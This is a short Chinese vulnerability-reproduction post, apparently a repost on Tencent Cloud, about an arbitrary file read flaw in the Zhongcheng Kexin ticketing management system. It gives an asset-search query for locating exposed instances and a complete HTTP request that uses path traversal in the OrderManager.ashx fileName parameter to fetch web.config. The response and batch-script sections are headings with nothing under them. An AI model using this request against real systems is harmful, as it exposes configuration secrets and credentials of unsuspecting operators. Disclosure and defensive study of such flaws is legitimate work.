【漏洞复现】中成科信票务管理系统OrderManager.ashx接口存在任意文件读取漏洞
【漏洞复现】中成科信票务管理系统OrderManager.ashx接口存在任意文件读取漏洞
熔城Sec
发布于 2026-07-22 19:56:17
发布于 2026-07-22 19:56:17
漏洞描述
中成科信票务管理系统OrderManager.ashx接口存在任意文件读取漏洞。
资产收集
鹰图平台
web.title=="综合管理平台"
发送请求
GET /SystemManager/OrderManager/OrderManager.ashx?Method=DownTemplate&fileName=../../web.config HTTP/1.1
User-Agent:Mozilla/4.0(compatible:MSIE 8.0: Windows NI 6.1)
Accept-Encoding: gzip, deflate
Accept:*/*
Connection:close
Host:返回包
批量验证脚本
本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2025-11-05，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号